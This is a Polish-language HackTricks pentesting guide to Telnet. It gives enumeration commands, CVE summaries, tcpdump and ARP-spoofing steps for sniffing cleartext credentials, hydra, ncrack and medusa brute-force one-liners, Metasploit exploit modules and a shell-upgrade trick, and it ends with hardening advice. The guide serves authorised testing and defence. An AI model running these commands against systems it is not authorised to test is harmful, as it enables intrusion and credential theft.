23 - Pentesting Telnet
Reading time: 6 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Telnet to protokół sieciowy, który daje użytkownikom nieszyfrowany sposób dostępu do komputera przez sieć.
Domyślny port: 23
23/tcp open telnet
Enumeracja
Zbieranie banerów
nc -vn <IP> 23
Wszystkie interesujące enumeracje można wykonać za pomocą nmap:
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
Skrypt telnet-ntlm-info.nse
uzyska informacje NTLM (wersje Windows).
Z telnet RFC: W protokole TELNET znajdują się różne "opcje", które będą zatwierdzone i mogą być używane w strukturze "DO, DON'T, WILL, WON'T", aby umożliwić użytkownikowi i serwerowi zgodzenie się na użycie bardziej złożonego (lub może po prostu innego) zestawu konwencji dla ich połączenia TELNET. Takie opcje mogą obejmować zmianę zestawu znaków, tryb echa itp.
Wiem, że możliwe jest enumerowanie tych opcji, ale nie wiem jak, więc daj mi znać, jeśli wiesz jak.
Brute force
Plik konfiguracyjny
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
Automatyczne polecenia HackTricks
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
Port_Number: 23 #Comma separated if there is more than one.
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23
Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
Recent Vulnerabilities (2022-2025)
- CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Wbudowana usługa Telnet akceptowała twardo zakodowane dane uwierzytelniające i nie sanitizowała wejścia, co pozwalało na nieautoryzowane zdalne RCE jako root za pomocą stworzonych poleceń na porcie 23. Naprawiono w oprogramowaniu układowym ≥ 1.04B05.
- CVE-2023-40478 – NETGEAR RAX30: Przepełnienie bufora oparte na stosie w poleceniu Telnet CLI
passwd
pozwala sąsiedniemu atakującemu na ominięcie uwierzytelnienia i wykonanie dowolnego kodu jako root. - CVE-2022-39028 – GNU inetutils telnetd: Sekwencja dwóch bajtów (
0xff 0xf7
/0xff 0xf8
) wywołuje dereferencję wskaźnika NULL, co może spowodować awariętelnetd
, prowadząc do trwałego DoS po kilku awariach.
Pamiętaj o tych CVE podczas triage podatności — jeśli cel działa na niepoprawionym oprogramowaniu układowym lub przestarzałym demonie Telnet inetutils, możesz mieć prostą drogę do wykonania kodu lub zakłócającego DoS.
Sniffing Credentials & Man-in-the-Middle
Telnet przesyła wszystko, w tym dane uwierzytelniające, w czystym tekście. Dwa szybkie sposoby na ich przechwycenie:
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
Dla aktywnego MITM, połącz spoofing ARP (np. arpspoof
/ettercap
) z tymi samymi filtrami sniffingowymi, aby zbierać hasła w sieciach przełączanych.
Zautomatyzowane ataki brute-force / Password Spraying
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
Większość botnetów IoT (warianty Mirai) nadal skanuje port 23 z małymi słownikami domyślnych poświadczeń—odzwierciedlenie tej logiki może szybko zidentyfikować słabe urządzenia.
Eksploatacja i post-eksploatacja
Metasploit ma kilka przydatnych modułów:
auxiliary/scanner/telnet/telnet_version
– enumeracja banerów i opcji.auxiliary/scanner/telnet/brute_telnet
– wielowątkowe łamanie haseł.auxiliary/scanner/telnet/telnet_encrypt_overflow
– RCE przeciwko podatnemu Telnetowi Solaris 9/10 (obsługa opcji ENCRYPT).exploit/linux/mips/netgear_telnetenable
– włącza usługę telnet za pomocą spreparowanego pakietu na wielu routerach NETGEAR.
Po uzyskaniu powłoki pamiętaj, że TTY są zazwyczaj głupie; zaktualizuj za pomocą python -c 'import pty;pty.spawn("/bin/bash")'
lub użyj HackTricks TTY tricks.
Wzmocnienie i wykrywanie (kącik niebieskiego zespołu)
- Preferuj SSH i całkowicie wyłącz usługę Telnet.
- Jeśli Telnet jest wymagany, przypisz go tylko do VLAN-ów zarządzających, egzekwuj ACL i owiń demon w TCP wrappers (
/etc/hosts.allow
). - Zastąp przestarzałe implementacje
telnetd
ssl-telnet
lubtelnetd-ssl
, aby dodać szyfrowanie transportowe, ale to tylko chroni dane w tranzycie—zgadywanie haseł pozostaje trywialne. - Monitoruj ruch wychodzący do portu 23; kompromitacje często generują odwrotne powłoki przez Telnet, aby obejść surowe filtry egress HTTP.
Odniesienia
- D-Link Advisory – CVE-2024-45698 Krytyczne Telnet RCE.
- NVD – CVE-2022-39028 inetutils
telnetd
DoS.
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.